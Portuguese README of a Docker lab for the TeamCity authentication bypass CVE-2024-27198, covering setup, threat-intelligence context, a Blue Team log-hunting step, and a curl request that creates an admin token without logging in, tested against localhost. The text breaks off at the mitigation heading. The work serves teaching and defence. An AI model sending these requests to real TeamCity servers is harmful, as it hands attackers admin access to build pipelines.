CVE-2024-27198_Lab

Índice

• Sobre o Projeto
  • Detalhes da CVE
  • Construído Com
• Inteligência de Ameaças e OSINT
  • Impacto no Mundo Real e Exploração
  • Por que esta CVE é Crítica
• Primeiros Passos
  • Pré-requisitos
  • Instalação e Configuração do Laboratório
• Passos para Reproduzir e Explorar
  • Portal de Login
  • Testar a Vulnerabilidade
  • Gerar Token de Admin
  • Verificar o Token
  • Excluir o Token
  • Blue Team: Caçando IoCs nos Logs
  • Parar os Contêineres
• Mitigação e Detecção
  • Análise Técnica (CWE-288)
  • Indicadores de Comprometimento (IoCs)
  • Detecção em Logs (Regra Sigma)
  • Demonstração ao Vivo no SIEM (Blue Team)
  • Remediação
  • Detecção de Rede (Regra Suricata / Snort)
  • Testar a Versão Corrigida
• Links

Sobre o Projeto

O TeamCity fornece uma página exclusiva para administradores para gerenciamento de tokens que não é protegida por autenticação. Isso permite que um usuário não autenticado gere um token de acesso para o usuário administrador, caso consiga encontrar o ID de um usuário existente.

Este repositório contém um laboratório Dockerizado completo e reproduzível, com ambientes TeamCity vulnerável (:8111) e corrigido (:8112), scripts automatizados de exploração (exploit.py), tutoriais de caça a logs para o Blue Team e um simulador de eventos SIEM ao vivo (siem_simulator.py).

Detalhes da CVE

• ID da CVE: CVE-2024-27198
• CWE: CWE-288 (Bypass de Autenticação Usando um Caminho ou Canal Alternativo)
• CNA: JetBrains s.r.o.
• Pontuação Base: 9.8 CRÍTICA
• Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • AV:N — Rede
  • AC:L — Baixa
  • PR:N — Nenhum
  • UI:N — Nenhum
  • S:U — Inalterado
  • C:H — Alto
  • I:H — Alto
  • A:H — Alto

Construído Com

• 
• 
• 
• 
• 

Inteligência de Ameaças e OSINT

Impacto no Mundo Real e Exploração

• Catálogo KEV da CISA: Adicionado em 7 de março de 2024, confirmando exploração ativa no mundo real.
• Atores de Ameaça: Explorado por vários grupos de ransomware e APTs, notavelmente o grupo de ransomware BianLian e a variante de ransomware Jasmin. Os atacantes usaram esse bypass para criar contas de administrador maliciosas, implantar plugins maliciosos e executar código arbitrário (RCE) para se movimentar lateralmente nas redes das vítimas.
• Perfil do Alvo: Pipelines de CI/CD são alvos de alto valor (Ataques à Cadeia de Suprimentos). Comprometer o TeamCity permite que os atacantes injetem código malicioso nas builds de software, roubem código-fonte e extraiam segredos de implantação (chaves AWS, certificados).

Por que esta CVE é crítica

A vulnerabilidade está no mecanismo de roteamento da API REST. Ao anexar caracteres específicos (como ?jsp=/app/rest/...;.jsp) a um endpoint não autenticado, os atacantes podem enganar o servidor web do TeamCity para que encaminhe a requisição a um endpoint autenticado, contornando os filtros de segurança. Isso não exige nenhum conhecimento ou acesso prévio, tornando-a um CVSS puro de 9.8.

Primeiros Passos

Para obter uma cópia local deste laboratório e colocá-la em funcionamento, siga estes passos de exemplo simples.

Pré-requisitos

• Docker & Docker Compose
• Python 3.10+
• curl

Instalação e Configuração do Laboratório

1. Clone o repositório

   git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
   

2. Alterar o diretório

   cd CVE-2024-27198_Lab
   

3. Inicie os contêineres

   docker compose up -d
   

• Acesse a instância vulnerável do TeamCity em: http://localhost:8111
• Acesse a instância corrigida do TeamCity em: http://localhost:8112

Passos para Reproduzir e Explorar

Portal de Login

Nome de usuário:

admin

Senha:

admin

Testar a vulnerabilidade

Requisição GET para um recurso sem autenticação:

curl -i http://localhost:8111/app/rest/users

curl -i http://localhost:8112/app/rest/users

Ambos devem retornar um erro com o código de status 401.

Gerar um token para o usuário admin

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Isto deve retornar um token como este (o token é diferente a cada vez):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Isso deve retornar um erro com código de status 401 porque a instância corrigida não possui a vulnerabilidade.

Verificar token

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Deve retornar a lista de usuários.

Excluir o token

1. Acesse http://localhost:8111 com a conta de administrador.
2. Clique no ícone de perfil no canto superior direito.
3. Vá em Perfil -> Access Tokens.
4. Você verá o token "REDTEAM".
5. Basta clicar em Excluir ao lado do token.

Blue Team: Caçando IoCs nos Logs (O Fator Furtividade)

Durante a demonstração no laboratório, você pode mostrar uma descoberta massiva para o Blue Team: por padrão, esta vulnerabilidade é incrivelmente furtiva!

1. Os logs de acesso do Tomcat estão desabilitados por padrão na imagem Docker do TeamCity, portanto as requisições HTTP ;.jsp não são registradas.
2. O log de auditoria do TeamCity não registra a criação de tokens via API REST.

Então, como podemos detectar isso? Quando o atacante apaga seus rastros! Quando o atacante exclui seu token malicioso para se esconder, o TeamCity registra essa ação.

Encontre o atacante apagando seus rastros nos logs de auditoria:

docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Você verá uma entrada de log indicando que o token "REDTEAM" foi excluído).

Pare os contêineres

docker compose down

Mitigação e Detecção